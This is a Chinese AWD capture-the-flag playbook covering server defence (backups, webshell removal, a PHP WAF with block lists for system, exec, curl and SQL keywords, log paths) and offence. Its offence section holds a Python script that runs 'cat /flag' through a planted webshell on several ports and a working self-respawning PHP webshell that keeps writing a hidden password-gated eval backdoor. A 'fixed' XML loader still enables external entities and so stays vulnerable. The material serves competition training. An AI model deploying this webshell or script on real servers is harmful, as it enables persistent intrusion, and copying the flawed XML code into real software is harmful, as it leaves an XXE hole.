防御
一、登录ssh服务器
所有人都要登上去。这里以我自己的服务器为例子。一般使用默认的ssh登录方式,我个人服务器ip是120.46.41.173
使用工具是xshell
与xftp
。
点击新建连接。
输入ip。默认ssh端口22不用改就能连接。
然后点击侧边栏,输入账号密码登录。(账号密码主办方会给)
登录成功后输入ls
命令(查看当前目录下文件),有回显就是链接成功了。
xshell和xftp配套,点击直接跳转,不用再次账号密码登录。
ssh登录必须尽快完成,首轮防御只给10分钟,登录只能花两分钟,要不然来不及防御。
二、下载、备份文件
只需下载、备份web目录如/app/
目录。
备份完成记得发队伍群里,备注好是初始的源码。
三、 webshell查杀
用河马webshell查杀等工具 ,查出最基本的一句话木马。
然后群里上报含shell的文件路径,然后注释掉shell就行。
比如上图,可以看到,非常经典的一句话木马,这些木马一般是主办方提前留下的,所以这些文件里面的shell一定要注释掉。全部shell注释完了,备份文件,发群里,然后上传到服务器替换原先文件。
四、编写自动化攻击脚本
import requests
def get_flag():
data = {
'shell':'cat /flag'
}
for i in range(8802,8804):
url = 'http://192.168.109.128:'+str(i)+'/footer.php'
result=requests.post(url,data=data).content.decode('utf-8')
print(result)
with open(r'flag.txt','a+') as f:
f.write(result+'\n')
f.close()
def tijiao_flag():
for flag in open('flag.txt'):
flag=flag.replace('\n','')
url='http://192.168.109.128:8080/flag_file.php?token=team1&flag='+flag
requests.get(url)
if __name__ == '__main__':
get_flag()
tijiao_flag()
针对ISCC-2023:
import requests
def get_flag():
data = {
'【参数名字】':'hereiam -t 【队伍签名】'
}
for i in range(9000,9030):
url = 'http://120.46.41.173:'+str(i)+'【路由】'
#requests.post(url , data=data)
requests.get(url, params=data)
if __name__ == '__main__':
get_flag()
五、部署 WAF
如果全是明显木马,直接注释,此步骤跳过。
先上通防WAF:
waf.php
<?php
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
define('LOG_FILENAME', 'Attack_Big_information.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");
$time=date("Y-m-d H:i:s");
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
}
waf();
class waf{
private $request_url;
private $request_method;
private $request_data;
private $headers;
private $raw;
// 自动部署构造方法
function __construct(){
//echo "class waf construct execute..</br>"; //debug code
$this->write_access_log_probably(); //记录访问纪录 类似于日志
$this->write_access_logs_detailed(); //纪录详细访问请求包
//echo "class waf construct execute..2</br>";
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
write_attack_log("method");
}
//echo "class waf construct execute..3</br>";
$this->request_url= $_SERVER['REQUEST_URI']; //获取url来进行检测
$this->request_data = file_get_contents('php://input'); //获取post
$this->headers =$this->get_all_headers(); //获取header
//echo "class waf construct execute half..</br>";
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url)))); //对URL进行检测,出现问题则拦截并记录
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data)))); //对POST的内容进行检测,出现问题拦截并记录
//echo "class waf construct execute..4</br>";
$this->detect_upload();
$this->gloabel_attack_detect();
//echo "class waf construct execute success..</br>";
}
//全局输入检测 基本的url和post检测过了则对所有输入进行简单过滤
function gloabel_attack_detect(){
foreach ($_GET as $key => $value) {
$_GET[$key] = $this->filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = $this->filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
$this->filter_attack_keyword($this->filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
$_SERVER[$key] = $this->filter_dangerous_words($value); //简单过滤
}
}
//拦截所有的文件上传 并记录上传操作 并将上传文件保存至系统tmp文件夹下
function detect_upload(){
foreach ($_FILES as $key => $value) {
if($_FILES[$key]['size']>1){
echo "小伙子你不讲武德啊,你这上传的是啥?????你很危险啊!(╯‵□′)╯︵┻━┻";
$this->write_attack_log("Upload");
//move_uploaded_file($_FILES[$key]["tmp_name"],'/tmp/uoloadfiles/'.$_FILES[$key]["name"]);
exit(0);
}
}
}
//记录每次大概访问记录,类似日志,以便在详细记录中查找
function write_access_log_probably() {
$raw = date("Y/m/d H:i:s").' ';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' ';
$raw .= 'POST: '.file_get_contents('php://input')."\r\n";
$ffff = fopen('all_requests.txt', 'a'); //日志路径
fwrite($ffff, $raw);
fclose($ffff);
}
//记录详细的访问头记录,包括GET POST http头 以获取通防waf未检测到的攻击payload
function write_access_logs_detailed(){
$data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('all_requests_detail.txt', 'a'); //日志路径
fwrite($ffff, urldecode($data));
fclose($ffff);
}
/*
获取http请求头并写入数组
*/
function get_all_headers() {
$headers = array();
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){ //有中文这里要修改
if(!in_array($ascii, array(9,10,13))){
write_attack_log("interrupt");
}else{
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
}else{
return $str;
}
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){
if(preg_match("/select\b|insert\b|update\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
$this->write_attack_log("sqli");
}
//文件包含的检测
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){
$this->write_attack_log("LFI/LFR");;
}
}else{
$this->write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restorei/i", $str)){
$this->write_attack_log("EXEC");
}
if(preg_match("/flag/i", $str)){
$this->write_attack_log("GETFLAG");
}
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raws() {
$raw = '';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}
/*
这里拦截并记录攻击payload 第一个参数为记录类型 第二个参数是日志内容 使用时直接调用函数
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('attack_detected_log.txt', 'a'); //日志路径
fwrite($ffff, $data);
fclose($ffff);
if($alert == 'getflag'){
echo "flag{erxianqiao_NB_NO1_c001}"; //如果请求带有flag关键字,显示假的flag。(2333333)
}else{
sleep(3); //拦截前延时3秒
}
exit(0);
}
}
$waf = new waf();
?>
然后针对性正则过滤:
$str1 ="";
foreach ($_POST as $key => $value) {
$str1.=$key;
$str1.=$value;
}
$str2 ="";
foreach ($_GET as $key => $value) {
$str2.=$key;
$str2.=$value;
}
if (preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $str1)||preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $str2)) {
die('no!');
}
//RCE
function wafrce($str){
return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}
//以下这个可以用短标签+反引号+通配符绕过过滤
preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i", $str);
//SQL
function wafsqli($str){
return !preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|>|<|;|\"|\'|\^|\|/i", $str);
}
if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark|regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|/is",$s)||strlen($s)>50){
header("Location: /");
die();
}
//XSS
function wafxss($str){
return !preg_match("/\'|http|\"|\`|cookie|<|>|script/i", $str);
}
// fix后(XXE)
<?php
function is_user_exists($username, $user_info_dir): bool
{
$dirs = array_filter(glob($user_info_dir . '/*'), 'is_dir');
foreach ($dirs as $dir) {
$dirName = basename($dir);
if($dirName === $username) return true;
}
return false;
}
function register_user($username, $user_info_dir, $user_xml){
$r = "/php|read|flag/i";
$username = preg_replace($r,"",$username);
$user_dir_name = $user_info_dir.$username;
mkdir($user_dir_name, 0777);
file_put_contents($user_dir_name.'/'.$username.".xml", $user_xml);
}
function get_user_record($username, $user_info_dir)
{
$r = "/php|read|flag/i";
$username = preg_replace($r,"",$username);
$user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
$dom = new DOMDocument();
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
return simplexml_import_dom($dom);
}
六、开启监听脚本与日志记录文件
如果文件丢失,将会直接扣分。保护自己文件的同时,删除他人文件也是一种攻击面。
脚本见py2监听
。需要在vps上面有Python2环境。
apt install python2
python2 ./py2_lin.py
日志:
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log #实时刷新滚动日志文件
日志记录文件如下:
也可以用现成exe,叫做Web日志安全分析工具+v2.0
。但是不知道怎么运行,网上给的办法:
apt intall wine-stable
wine /xxx/xxx.exe
七、链接数据库、修改数据库密码
ls -al
ls -al /app/admin
#跳转到/app/admin目录并且查看不可见文件
mysql -u admin -p
#-u:输入用户名 -p:输入密码
xshell里面数据库相关操作:
show databases;
show tables from tcho;
select * from type_users
use tcho
select * from type_users;
update type_users set password = "e10adc3949ba59abbe56e057f20f883e";
#不可逆哈希加密(md5)
解决不死马
1、ps auxww|grep shell.php找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
2、重启php等web服务
3、用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值
4、创建一个和不死马生成的马一样名字的文件夹
方法一:杀进程:
<?php
while (1) {
$pid=1234;
@unlink('.index.php');
exec('kill -9 $pid');
}
?>
方法三:竞争写入:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = 'fuck';
while (1){
file_put_contents($file,$code);
usleep(1000);
}
?>
进攻
扫描出所有选手的位置:
拿burp爆破扫。也可以自己写脚本扫。线下经历发现貌似fscan比nmap好用。
不死马:
MD5是Jay17
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="3d9c2be0ae43583ed82a0601779e40e1"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
搅屎棍发包:
见搅屎棍py脚本
Trick:
- 使用
find / -name *flag*
或grep -rn "flag" *
类似的语句可以快速发现 flag 所在的地方,方便后续拿分。 - 部署流量监控脚本或开启服务器日志记录。目的主要是为了进行流量回放,看其它大佬如何用我们没发现的漏洞来打我们的机子,抓取到之后把看不懂的流量直接回放到别的机子去,这里还得提到,我们自己在攻击的时候,也要试着混淆一下自己的攻击流量,不能轻易被别人利用。